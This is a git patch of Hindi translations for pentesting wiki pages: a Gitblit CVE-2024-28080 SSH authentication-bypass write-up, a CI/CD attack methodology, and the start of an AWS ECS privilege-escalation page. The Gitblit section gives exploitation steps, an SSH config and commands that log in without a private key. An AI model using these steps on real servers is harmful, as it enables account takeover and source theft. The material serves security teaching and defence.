From 2b1d2c906a15b3df4d99d84545a693fcf9ba21d4 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 4 Sep 2025 23:51:23 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', --- .../gitblit-security/README.md | 2 +- ...embedded-ssh-auth-bypass-cve-2024-28080.md | 92 +++++++++---------- .../pentesting-ci-cd-methodology.md | 86 ++++++++--------- .../aws-ecs-privesc.md | 80 ++++++++-------- 4 files changed, 130 insertions(+), 130 deletions(-) diff --git a/src/pentesting-ci-cd/gitblit-security/README.md b/src/pentesting-ci-cd/gitblit-security/README.md index 0a70acf43..b96baab90 100644 --- a/src/pentesting-ci-cd/gitblit-security/README.md +++ b/src/pentesting-ci-cd/gitblit-security/README.md @@ -4,7 +4,7 @@ ## Gitblit क्या है -Gitblit Java में लिखा गया एक self‑hosted Git server है। यह standalone JAR के रूप में या servlet containers में चल सकता है और Git over SSH के लिए embedded SSH service (Apache MINA SSHD) के साथ आता है। +Gitblit एक self‑hosted Git server है जो Java में लिखा गया है। यह standalone JAR के रूप में या servlet containers में चल सकता है और Git over SSH के लिए एक embedded SSH service (Apache MINA SSHD) प्रदान करता है। ## विषय diff --git a/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md b/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md index 4e29b97e4..7f10d5409 100644 --- a/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md +++ b/src/pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md @@ -4,34 +4,34 @@ ## सारांश -CVE-2024-28080 Gitblit के embedded SSH सर्विस में एक authentication bypass है जो Apache MINA SSHD के साथ एकीकरण करते समय session state के गलत हैंडलिंग के कारण हुआ। अगर किसी user अकाउंट में कम से कम एक SSH public key रजिस्टर्ड है, तो एक attacker जो username और उस user की किसी भी public key को जानता है, private key और password के बिना authenticate कर सकता है। +CVE-2024-28080 Gitblit के embedded SSH service में एक authentication bypass है जो Apache MINA SSHD के साथ एकीकरण करते समय session state के गलत हैंडलिंग के कारण होता है। यदि किसी उपयोगकर्ता खाते में कम से कम एक SSH public key पंजीकृत है, तो कोई attacker जो username और उस उपयोगकर्ता की किसी भी public key को जानता है, private key और password के बिना authenticate कर सकता है। - प्रभावित: Gitblit < 1.10.0 (observed on 1.9.3) -- Fixed: 1.10.0 -- शोषण के लिए आवश्यकताएँ: -- Git over SSH instance पर enabled होना चाहिए -- पीड़ित अकाउंट में कम से कम एक SSH public key Gitblit में रजिस्टर्ड होनी चाहिए -- Attacker को पीड़ित username और उनकी किसी एक public key का पता होना चाहिए (अकसर खोजने योग्य, उदाहरण के लिए https://github.com/.keys) +- ठीक किया गया: 1.10.0 +- शोषण करने की आवश्यकताएँ: +- इंस्टेंस पर Git over SSH सक्षम होना चाहिए +- लक्षित खाते में Gitblit में कम से कम एक SSH public key पंजीकृत हो +- Attacker को लक्षित उपयोगकर्ता का username और उनकी किसी एक public key का पता होना चाहिए (आम तौर पर खोजने योग्य, उदाहरण: https://github.com/.keys) -## मूल कारण (state leaks between SSH methods) +## Root cause (state leaks between SSH methods) -RFC 4252 के अनुसार, public‑key authentication दो चरणों में होती है: सर्वर पहले जाँचता है कि दिया गया public key किसी username के लिए स्वीकार्य है या नहीं, और केवल challenge/response के साथ signature के बाद ही वह user को authenticate करता है। MINA SSHD में, PublickeyAuthenticator को दो बार बुलाया जाता है: key acceptance पर (अभी signature नहीं) और बाद में जब client signature लौटाता है। +RFC 4252 के अनुसार, public‑key authentication दो चरणों में होता है: सर्वर पहले यह जांचता है कि दिया गया public key किसी username के लिए स्वीकार्य है या नहीं, और केवल signature के साथ challenge/response के बाद ही वह उपयोगकर्ता को authenticate करता है। MINA SSHD में, PublickeyAuthenticator दो बार कॉल किया जाता है: key acceptance पर (अभी signature नहीं) और बाद में जब client signature वापस करता है। -Gitblit का PublickeyAuthenticator पहले, pre‑signature कॉल पर session context को बदल देता था (mutate) करके authenticated UserModel को session से जोड़ देता था और true लौटाता था ("key acceptable")। जब बाद में authentication password पर fallback हुआ, तो PasswordAuthenticator ने उस mutated session state पर भरोसा किया और short‑circuit करते हुए बिना password validate किए true लौटाया। परिणामस्वरूप, किसी भी password (खाली सहित) को एक prior public‑key "acceptance" के बाद उसी user के लिए स्वीकार कर लिया गया। +Gitblit का PublickeyAuthenticator पहले, pre‑signature कॉल पर session context को बदल देता था — authenticated UserModel को session से bind कर देता था और true लौटाता था ("key acceptable")। जब बाद में authentication password पर fallback हुआ, तो PasswordAuthenticator ने उस mutated session state पर भरोसा किया और short‑circuit करते हुए password को validate किए बिना true लौटाया। परिणामस्वरूप, किसी भी password (खाली भी) को उसी user के लिए पहले public‑key "acceptance" के बाद स्वीकार कर लिया गया। -उच्च‑स्तरीय दोषपूर्ण flow: +उच्च‑स्तरीय त्रुटिपूर्ण प्रवाह: -1) Client username + public key भेजता है (अभी signature नहीं) -2) Server key को user का मानता है और जल्दबाजी में user को session से जोड़ देता है, true लौटाता है ("acceptable") -3) Client sign नहीं कर पाता (private key नहीं), तो auth password पर fallback होता है +1) Client username + public key पेश करता है (अभी signature नहीं) +2) Server उस key को user का मानता है और समयपूर्वक user को session से जोड़ देता है, true लौटाता है ("acceptable") +3) Client sign नहीं कर पाता (private key नहीं), इसलिए auth password पर fallback हो जाता है 4) Password auth session में पहले से मौजूद user देखता है और बिना शर्त success लौटाता है -## Step‑by‑step exploitation +## चरण‑दर‑चरण शोषण -- पीड़ित का username और उनकी किसी एक public key इकट्ठा करें: -- GitHub public keys को https://github.com/.keys पर दिखाता है -- Public servers अक्सर authorized_keys एक्सपोज़ करते हैं -- Configure OpenSSH ताकि वह केवल public half प्रस्तुत करे जिससे signature generation fail हो, और password पर fallback मजबूर हो जबकि server पर public‑key acceptance path ट्रिगर हो रहा हो। +- लक्षित का username और उनकी किसी एक public key एकत्र करें: +- GitHub सार्वजनिक keys https://github.com/.keys पर एक्सपोज़ करता है +- सार्वजनिक सर्वर अक्सर authorized_keys एक्सपोज़ करते हैं +- OpenSSH को इस तरह कॉन्फ़िगर करें कि वह केवल public half प्रस्तुत करे ताकि signature generation विफल हो, जिससे server पर public‑key acceptance पथ ट्रिगर करते हुए auth password पर fallback मजबूर हो। Example SSH client config (no private key available): ```sshconfig @@ -50,50 +50,50 @@ ssh gitblit-target # or Git over SSH GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://@/ ``` -प्रमाणीकरण इसलिए सफल हो जाता है क्योंकि पहले के public‑key चरण ने session को एक authenticated user में बदल दिया था, और password auth उस स्थिति पर गलत तरीके से भरोसा कर लेता है। +Authentication succeeds because the earlier public‑key phase mutated the session to an authenticated user, and password auth incorrectly trusts that state. -नोट: यदि ControlMaster multiplexing आपके SSH config में सक्षम है, तो बाद के Git कमांड्स वही authenticated connection reuse कर सकते हैं, जिससे प्रभाव बढ़ सकता है। +Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact. -## प्रभाव +## Impact -- किसी भी Gitblit user की पूर्ण impersonation जिसकी कम से कम एक registered SSH public key हो -- victim की permissions के अनुसार repositories तक read/write access (source exfiltration, unauthorized pushes, supply‑chain risks) -- यदि लक्ष्य admin user हो तो संभावित administrative प्रभाव -- शुद्ध network exploit; किसी brute force या private key की आवश्यकता नहीं +- Full impersonation of any Gitblit user with at least one registered SSH public key +- Read/write access to repositories per victim’s permissions (source exfiltration, unauthorized pushes, supply‑chain risks) +- Potential administrative impact if targeting an admin user +- Pure network exploit; no brute force or private key required -## पता लगाने के सुझाव +## Detection ideas -- SSH logs की समीक्षा करें उन सीक्वेंस के लिए जहाँ publickey प्रयास के बाद खाली या बहुत छोटा password देकर सफल password authentication होती है -- इन flows की तलाश करें: publickey method द्वारा unsupported/mismatched key material पेश किया जाना और उसके तुरंत बाद उसी username के लिए password के सफल होने की घटना +- Review SSH logs for sequences where a publickey attempt is followed by a successful password authentication with an empty or very short password +- Look for flows: publickey method offering unsupported/mismatched key material followed by immediate password success for the same username -## निवारण +## Mitigations -- Gitblit v1.10.0+ में upgrade करें -- जब तक upgrade नहीं हो जाता: -- Gitblit पर Git over SSH को Disable करें, या -- SSH service के network access को सीमित करें, और -- ऊपर बताए गए संदिग्ध पैटर्न की निगरानी करें -- यदि compromise का संदेह हो तो प्रभावित user credentials को rotate करें +- Upgrade to Gitblit v1.10.0+ +- Until upgraded: +- Disable Git over SSH on Gitblit, or +- Restrict network access to the SSH service, and +- Monitor for suspicious patterns described above +- Rotate affected user credentials if compromise is suspected ## General: abusing SSH auth method state‑leakage (MINA/OpenSSH‑based services) -पैटर्न: यदि किसी server का public‑key authenticator pre‑signature "key acceptable" चरण के दौरान user/session state को बदल देता है और अन्य authenticators (जैसे password) उस स्थिति पर भरोसा करते हैं, तो आप निम्न तरीके से authentication bypass कर सकते हैं: +Pattern: यदि किसी server का public‑key authenticator pre‑signature "key acceptable" चरण के दौरान user/session state को mutate करता है और अन्य authenticators (जैसे password) उस state पर भरोसा करते हैं, तो आप authentication को निम्न तरीके से bypass कर सकते हैं: -- लक्ष्य user के लिए एक वैध public key पेश करना (कोई private key आवश्यक नहीं) -- client को signing fail करने के लिए मजबूर करना ताकि server password पर fallback कर ले -- password authenticator किसी leaked state पर short‑circuit करते हुए किसी भी password को स्वीकार कर लेना +- Presenting a legitimate public key for the target user (no private key) +- Forcing the client to fail signing so the server falls back to password +- Supplying any password while the password authenticator short‑circuits on leaked state -व्यावहारिक सुझाव: +Practical tips: -- Public key harvesting at scale: https://github.com/.keys, organizational directories, team pages, leaked authorized_keys जैसे सामान्य स्रोतों से public keys खींचें -- Forcing signature failure (client‑side): IdentityFile को केवल .pub पर पॉइंट करें, IdentitiesOnly yes सेट करें, और PreferredAuthentications में पहले publickey फिर password शामिल रखें +- Public key harvesting at scale: सामान्य स्रोतों से public keys खींचें, जैसे https://github.com/.keys, organizational directories, team pages, leaked authorized_keys +- Forcing signature failure (client‑side): IdentityFile को केवल .pub पर पॉइंट करें, IdentitiesOnly yes सेट करें, और PreferredAuthentications को publickey फिर password शामिल करने दें - MINA SSHD integration pitfalls: -- PublickeyAuthenticator.authenticate(...) को user/session state जोड़ने नहीं देना चाहिए जब तक कि post‑signature verification path signature की पुष्टि न कर दे -- PasswordAuthenticator.authenticate(...) को किसी prior, incomplete authentication method के दौरान mutated किसी भी state से सफलता infer नहीं करनी चाहिए +- PublickeyAuthenticator.authenticate(...) must not attach user/session state until the post‑signature verification path confirms the signature +- PasswordAuthenticator.authenticate(...) must not infer success from any state mutated during a prior, incomplete authentication method -संबंधित protocol/design नोट्स और साहित्य: +Related protocol/design notes and literature: - SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process) -- प्रारम्भिक acceptance oracles और auth races पर ऐतिहासिक चर्चा, जैसे CVE‑2016‑20012 विवाद OpenSSH व्यवहार के इर्द‑गिर्द +- Historical discussions on early acceptance oracles and auth races, e.g., CVE‑2016‑20012 disputes around OpenSSH behavior ## References diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 2916a0cc8..ca1ff6ab7 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -1,4 +1,4 @@ -# Pentesting CI/CD कार्यप्रणाली +# Pentesting CI/CD Methodology {{#include ../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ ## VCS -VCS का अर्थ है **Version Control System**, यह सिस्टम डेवलपर्स को उनके **source code** को **manage** करने की अनुमति देता है। सबसे आम वाला है **git** और आमतौर पर कंपनियाँ इसे निम्नलिखित **platforms** में से किसी एक पर उपयोग करती हैं: +VCS का मतलब है **Version Control System**, यह सिस्टम डेवलपर्स को उनके **source code को manage** करने की अनुमति देता है। सबसे आम है **git** और आप आमतौर पर कंपनियों को निम्नलिखित **platforms** में से किसी एक का उपयोग करते हुए पाएँगे: - Github - Gitlab @@ -18,86 +18,86 @@ VCS का अर्थ है **Version Control System**, यह सिस् ## CI/CD Pipelines -CI/CD pipelines डेवलपर्स को कोड के execution को **automate** करने में सक्षम बनाते हैं, जैसे कि build, test, और deploy करने के लिए। ये automated workflows विशिष्ट actions से **trigger** होते हैं, जैसे code pushes, pull requests, या scheduled tasks. ये development से production तक के प्रोसेस को streamline करने में उपयोगी हैं। +CI/CD pipelines डेवलपर्स को कोड के निष्पादन को **automate** करने में सक्षम बनाते हैं — जैसे build, test, और deploy करने के लिए। ये automated workflows विशिष्ट क्रियाओं द्वारा **triggered** होते हैं, जैसे code pushes, pull requests, या scheduled tasks. ये development से production तक के प्रक्रिया को आसान बनाने में उपयोगी होते हैं। -हालाँकि, इन सिस्टम्स को किसी न किसी जगह पर **execute** होना पड़ता है और आमतौर पर उन्हें **privileged credentials** चाहिए होते हैं ताकि वे code deploy कर सकें या sensitive information तक पहुँच पाएं। +हालाँकि, इन सिस्टम्स को कहीं ना कहीं **execute** करना होता है और आम तौर पर इसके लिए **privileged credentials** की आवश्यकता होती है ताकि code deploy किया जा सके या sensitive information तक पहुँच प्राप्त की जा सके। ## VCS Pentesting Methodology > [!NOTE] > Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code. -जो platforms आपके project का source code रखते हैं उनमें sensitive जानकारी होती है और लोगों को इस प्लेटफ़ॉर्म के अंदर दिए गए permissions के साथ बहुत सावधान रहना चाहिए। ये कुछ सामान्य समस्याएँ हैं जो VCS platforms में attackers द्वारा abused की जा सकती हैं: +जिस platform में आपके प्रोजेक्ट का source code होता है, वह संवेदनशील जानकारी रखता है और लोगों को इस platform के अंदर दिए गए permissions के साथ बहुत सावधान रहना चाहिए। VCS platforms में कुछ सामान्य समस्याएँ हैं जिनका attacker दुरुपयोग कर सकता है: -- **Leaks**: यदि आपका code commits में leaks रखता है और attacker repo तक पहुँच सकता है (क्योंकि यह public है या उसके पास access है), तो वह उन leaks को खोज सकता है। -- **Access**: यदि एक attacker VCS platform के अंदर किसी account तक **access** प्राप्त कर लेता है तो वह और भी अधिक visibility और permissions प्राप्त कर सकता है। -- **Register**: कुछ platforms बाहरी users को बस अकाउंट बनाने की अनुमति देते हैं। -- **SSO**: कुछ platforms users को register करने की अनुमति नहीं देते, पर किसी valid SSO के साथ किसी को भी access देने की अनुमति देते हैं (तो एक attacker उदाहरण के लिए अपने github account का उपयोग करके अंदर आ सकता है)। -- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... उपयोगकर्ता अनेक प्रकार के tokens चोरी कर सकता है ताकि किसी न किसी तरह से repo तक पहुँच सके। -- **Webhooks**: VCS platforms webhooks generate करने की अनुमति देते हैं। यदि वे **not protected** हैं गैर-दिखने वाले secrets के साथ तो **attacker उनका गलत इस्तेमाल कर सकता है**। -- यदि कोई secret inplace नहीं है, तो attacker तृतीय पक्ष platform के webhook का दुरुपयोग कर सकता है -- यदि secret URL में है, तो वही बात होती है और attacker के पास secret भी होता है -- **Code compromise:** यदि एक malicious actor के पास repos पर किसी तरह की **write** access है, तो वह **malicious code** inject करने की कोशिश कर सकता है। सफल होने के लिए उसे संभवतः **branch protections** को **bypass** करना होगा। ये क्रियाएँ विभिन्न लक्ष्यों के साथ की जा सकती हैं: -- main branch को compromise करके **production compromise** करना। -- main (या अन्य branches) को compromise करके **developers की machines compromise** करना (क्योंकि वे अक्सर repo के अंदर tests, terraform या अन्य चीज़ें अपने machines पर execute करते हैं)। +- **Leaks**: अगर आपके code में commits में leak मौजूद हैं और attacker repo तक पहुँच सकता है (क्योंकि वह public है या उसे access मिला हुआ है), तो वह उन leaks को खोज सकता है। +- **Access**: अगर attacker VCS platform के अंदर किसी account तक **access** प्राप्त कर लेता है तो वह और भी अधिक **visibility और permissions** प्राप्त कर सकता है। +- **Register**: कुछ platforms बाहरी उपयोगकर्ताओं को बस एक account बनाने की अनुमति देते हैं। +- **SSO**: कुछ platforms users को register करने की अनुमति नहीं देते, लेकिन valid SSO के साथ किसी को भी access करने दे सकते हैं (तो एक attacker अपने github account का उपयोग करके प्रवेश कर सकता है, उदाहरण के लिए)। +- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... कई प्रकार के tokens होते हैं जिन्हें एक user चुरा सकता है ताकि किसी तरह repo तक access प्राप्त किया जा सके। +- **Webhooks**: VCS platforms webhooks जनरेट करने की अनुमति देते हैं। अगर वे non visible secrets के साथ **protected** नहीं हैं तो एक **attacker उनका दुरुपयोग कर सकता है**। +- अगर कोई secret मौजूद नहीं है, तो attacker third party platform के webhook का दुरुपयोग कर सकता है +- अगर secret URL में है, तो भी वही होता है और attacker के पास वह secret भी होगा +- **Code compromise:** अगर किसी malicious actor के पास repos पर किसी प्रकार का **write** access है, तो वह **malicious code inject** करने की कोशिश कर सकता है। सफल होने के लिए उसे शायद **branch protections को bypass** करना पड़ेगा। ये क्रियाएँ विभिन्न उद्देश्यों के साथ की जा सकती हैं: +- main branch को compromise करके **production को compromise** करना। +- main (या अन्य branches) को compromise करके **developers के machines को compromise** करना (क्योंकि वे आम तौर पर repo के अंदर test, terraform या अन्य चीजें अपने machines पर execute करते हैं)। - **Compromise the pipeline** (अगला सेक्शन देखें) ## Pipelines Pentesting Methodology -Pipeline को define करने का सबसे सामान्य तरीका है **CI configuration file जो repository में host किया गया हो** जिसे pipeline build करता है। यह file executed jobs के order, flow को प्रभावित करने वाली conditions, और build environment settings का विवरण देती है.\ -ये files आम तौर पर एक consistent name और format रखती हैं, जैसे — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), और GitHub Actions YAML files जो .github/workflows के अंतर्गत होते हैं। जब trigger होता है, pipeline job चुने गए स्रोत (उदा. commit / branch) से **code को pull करता है**, और CI configuration file में निर्दिष्ट commands को उस code पर **run** करता है। +pipeline को define करने का सबसे आम तरीका है **CI configuration file जो repository में hosted** होती है जिसे pipeline build करता है। यह फाइल executed jobs का क्रम, flow को प्रभावित करने वाली conditions, और build environment settings का वर्णन करती है.\ +ये फाइलें आमतौर पर एक सुसंगत नाम और फॉर्मेट रखती हैं, उदाहरण के लिए — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), और GitHub Actions YAML फाइलें जो .github/workflows के अंतर्गत होती हैं। जब triggered होता है, तो pipeline job **code को pull करता है** चुने गए स्रोत से (जैसे commit / branch), और उस code के खिलाफ CI configuration file में निर्दिष्ट commands को **run** करता है। -इसलिए attacker का अंतिम लक्ष्य किसी न किसी तरह से उन configuration files या उन commands को **compromise** करना है जिनको वे execute करते हैं। +इसलिए attacker का अंतिम लक्ष्य किसी न किसी तरीके से उन configuration files या उन **commands** को **compromise** करना होता है जो वे execute करते हैं। ### PPE - Poisoned Pipeline Execution -The Poisoned Pipeline Execution (PPE) path SCM repository में permissions का उपयोग करके CI pipeline को manipulate करने और हानिकारक commands execute कराने का exploit करता है। जिन users के पास आवश्यक permissions होते हैं वे CI configuration files या pipeline job द्वारा उपयोग की जाने वाली अन्य files को modify कर के malicious commands शामिल कर सकते हैं। यह CI pipeline को "poison" कर देता है, जिससे ये malicious commands execute हो जाते हैं। +Poisoned Pipeline Execution (PPE) पथ SCM repository में permissions का दुरुपयोग कर एक CI pipeline को manipulate करने और हानिकारक commands execute करवाने का फायदा उठाता है। जिन users के पास आवश्यक permissions होते हैं वे CI configuration files या pipeline job द्वारा उपयोग की जाने वाली अन्य फाइलों को modify कर सकते हैं ताकि malicious commands शामिल हो सकें। यह CI pipeline को "poison" कर देता है, जिससे ये malicious commands execute होते हैं। -एक malicious actor के लिए PPE attack सफल होने के लिए उसे सक्षम होना चाहिए कि: +एक malicious actor के लिए PPE attack सफल करने के लिए उसे निम्न बातें करनी होंगी: -- VCS platform पर उसके पास **write access** हो, क्योंकि आमतौर पर pipelines तब trigger होते हैं जब push या pull request किया जाता है। (Access पाने के तरीकों के सार के लिए VCS pentesting methodology देखें). -- ध्यान दें कि कभी-कभी एक **external PR को "write access" माना जा सकता है**। -- भले ही उसके पास write permissions हों, उसे यह सुनिश्चित करना होगा कि वह **CI config file या उन अन्य files को modify कर सके जिन पर config निर्भर करता है**। -- इसके लिए उसे संभवतः **branch protections** को **bypass** करने में सक्षम होना चाहिए। +- VCS platform पर **write access** होना चाहिए, क्योंकि आम तौर पर pipelines तब triggered होते हैं जब push या pull request किया जाता है। (Access प्राप्त करने के तरीकों के लिए VCS pentesting methodology देखें). +- ध्यान दें कि कभी-कभी एक **external PR भी "write access"** माना जा सकता है। +- भले ही उसके पास write permissions हों, उसे यह सुनिश्चित करना होगा कि वह **CI config file या उन दूसरी फाइलों को modify कर सके जिन पर config निर्भर करता है**। +- इसके लिए उसे शायद **branch protections को bypass** करने की आवश्यकता पड़े। -PPE के 3 रूप हैं: +PPE के 3 flavour हैं: -- **D-PPE**: A **Direct PPE** attack तब होता है जब actor उस CI config file को **modify** कर देता है जिसे execute किया जाना है। -- **I-DDE**: An **Indirect PPE** attack तब होता है जब actor उस **file** को **modify** करता है जिस पर CI config file निर्भर करती है (जैसे make file या terraform config)। -- **Public PPE or 3PE**: कुछ मामलों में pipelines उन users द्वारा trigger किए जा सकते हैं जिनके पास repo में write access नहीं होता (और जो org का हिस्सा भी नहीं हो सकते) क्योंकि वे PR भेज सकते हैं। -- **3PE Command Injection**: आम तौर पर, CI/CD pipelines **environment variables** सेट करते हैं जिनमें **PR के बारे में जानकारी** होती है। यदि उस value को attacker द्वारा नियंत्रित किया जा सकता है (जैसे PR का title) और वह value किसी **dangerous जगह** (जैसे sh commands execute करने में) उपयोग होती है, तो attacker वहाँ **command inject** कर सकता है। +- **D-PPE**: एक **Direct PPE** attack तब होता है जब actor उस CI config फाइल को **modify** कर देता है जो execute होने वाली है। +- **I-DDE**: एक **Indirect PPE** attack तब होता है जब actor उस **file** को **modify** करता है जिस पर CI config फाइल निर्भर करती है (जैसे एक make file या terraform config)। +- **Public PPE or 3PE**: कुछ मामलों में pipelines उन users द्वारा trigger किए जा सकते हैं जिनके पास repo में write access नहीं है (और जो शायद org का हिस्सा भी न हों) क्योंकि वे एक PR भेज सकते हैं। +- **3PE Command Injection**: आम तौर पर, CI/CD pipelines **environment variables सेट करते हैं** जिनमें PR के बारे में जानकारी होती है। अगर उस value को attacker नियंत्रित कर सकता है (जैसे PR का title) और उसे किसी **dangerous जगह** पर **use** किया जाता है (जैसे sh commands execute करना), तो attacker वहाँ **commands inject** कर सकता है। ### Exploitation Benefits -Poisoned pipeline के 3 रूपों को जानने के बाद, चलिए देखते हैं कि सफल exploitation के बाद attacker क्या प्राप्त कर सकता है: +pipeline को poison करने के 3 flavour जानने के बाद, आइए देखें कि successful exploitation के बाद attacker क्या प्राप्त कर सकता है: -- **Secrets**: जैसा कि पहले बताया गया, pipelines अपने jobs के लिए **privileges** चाहती हैं (code retrieve करना, build करना, deploy करना...) और ये privileges आमतौर पर **secrets** में store किए जाते हैं। ये secrets अक्सर **env variables या system के अंदर files** के माध्यम से उपलब्ध होते हैं। इसलिए attacker हमेशा अधिक से अधिक secrets exfiltrate करने की कोशिश करेगा। -- pipeline platform पर निर्भर करते हुए attacker को **config में secrets specify करने की आवश्यकता** पड़ सकती है। इसका मतलब है कि यदि attacker CI configuration pipeline को modify नहीं कर सकता (**I-PPE** उदाहरण), तो वह केवल उन्हीं secrets को exfiltrate कर सकता है जो उस pipeline के पास हैं। -- **Computation**: code कहीं execute होता है; कहाँ execute होता है इस पर निर्भर करते हुए attacker आगे pivot कर सकता है। -- **On-Premises**: यदि pipelines on premises execute होते हैं, तो attacker एक internal network में पहुँच सकता है जहाँ और भी resources उपलब्ध हो सकते हैं। -- **Cloud**: attacker अन्य machines तक access कर सकता है cloud में, पर साथ ही IAM roles/service accounts **tokens** exfiltrate कर के cloud के अंदर और आगे का access प्राप्त कर सकता है। -- **Platforms machine**: कभी-कभी jobs pipelines platform machines के अंदर execute होते हैं, जो आमतौर पर cloud के अंदर होते हैं और जिनके पास ज्यादा access नहीं होता। -- **Select it:** कभी-कभी **pipelines platform ने कई machines configure की होती हैं** और यदि आप CI configuration file को modify कर सकते हैं तो आप **निर्दिष्ट कर सकते हैं कि आप malicious code कहाँ चलाना चाहते हैं**। ऐसी स्थिति में attacker संभवतः प्रत्येक मशीन पर reverse shell चला कर आगे exploit करने की कोशिश करेगा। -- **Compromise production**: यदि आप pipeline के अंदर हैं और final version वहीं से build और deploy होता है, तो आप production में चलने वाले code को compromise कर सकते हैं। +- **Secrets**: जैसा कि पहले बताया गया था, pipelines अपने jobs के लिए **privileges** की आवश्यकता होती है (code retrieve करने के लिए, build करने के लिए, deploy करने के लिए...) और ये privileges आमतौर पर **secrets** में दिए जाते हैं। ये secrets आम तौर पर **env variables या सिस्टम के अंदर फाइलों** के माध्यम से accessible होते हैं। इसलिए attacker हमेशा अधिक से अधिक secrets exfiltrate करने की कोशिश करेगा। +- pipeline platform पर निर्भर करते हुए attacker को **config में secrets specify** करने पड़ सकते हैं। इसका मतलब है कि अगर attacker CI configuration pipeline को modify नहीं कर सकता (**I-PPE** जैसा उदाहरण), तो वह केवल उन secrets को ही exfiltrate कर सकता है जो उस pipeline के पास हैं। +- **Computation**: कोड कहीं न कहीं execute होता है, और जहाँ execute होता है उसके आधार पर attacker आगे pivot कर सकता है। +- **On-Premises**: अगर pipelines on-premises execute होते हैं, तो attacker एक **internal network** में पहुँच सकता है जहाँ अधिक resources उपलब्ध हो सकते हैं। +- **Cloud**: attacker अन्य cloud machines तक पहुँच सकता है और साथ ही इसके IAM roles/service accounts **tokens** को exfiltrate करके cloud के अंदर और अधिक access प्राप्त कर सकता है। +- **Platforms machine**: कभी-कभी jobs pipeline platform machines के अंदर execute होते हैं, जो आमतौर पर किसी cloud में होते हैं और जिनके पास अधिक access नहीं होता। +- **Select it:** कभी-कभी **pipeline platform कई machines** configure करता है और अगर आप CI configuration file को modify कर सकते हैं तो आप **यह निर्दिष्ट कर सकते हैं कि आप malicious code कहाँ चलाना चाहते हैं**। ऐसी स्थिति में attacker शायद हर संभव machine पर reverse shell चलाकर आगे exploit करने की कोशिश करेगा। +- **Compromise production**: अगर आप pipeline के अंदर हैं और final version वहीं से build और deploy होता है, तो आप production में चलने वाले code को compromise कर सकते हैं। ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) एक open-source tool है जो आपके software supply chain stack का security compliance के हिसाब से audit करने के लिए है, यह एक नए [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) पर आधारित है। auditing पूरे SDLC process पर केन्द्रित होती है, जहाँ यह code time से लेकर deploy time तक के जोखिमों को उजागर कर सकती है। ### Top 10 CI/CD Security Risk -Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Cider के अनुसार top 10 CI/CD risks पर यह रोचक article देखें: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it +- हर platform पर जिसे आप locally चला सकते हैं, आपको यह मिलेगा कि इसे locally कैसे लॉन्च करना है ताकि आप इसे अपनी पसंद के अनुसार configure करके टेस्ट कर सकें - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** एक static code analysis tool है infrastructure-as-code के लिए। ## References diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index d45b8ae96..65a5a64a8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -ECS के बारे में अधिक **जानकारी**: +ECS के बारे में अधिक जानकारी: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,7 +12,7 @@ ECS के बारे में अधिक **जानकारी**: ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -एक attacker, ECS में `iam:PassRole`, `ecs:RegisterTaskDefinition` और `ecs:RunTask` permission का दुरुपयोग करके **एक नया task definition बना** सकता है जिसमें एक **malicious container** होता है जो metadata credentials चुरा लेता है और **इसे run** कर सकता है। +ECS में `iam:PassRole`, `ecs:RegisterTaskDefinition` और `ecs:RunTask` अनुमतियों का दुरुपयोग करने वाला एक हमलावर **नया task definition बना सकता है** जिसमें एक **दुष्ट container** होता है जो metadata credentials चुरा लेता है और **इसे चला सकता है**। {{#tabs }} {{#tab name="Reverse Shell" }} @@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#tab name="Webhook" 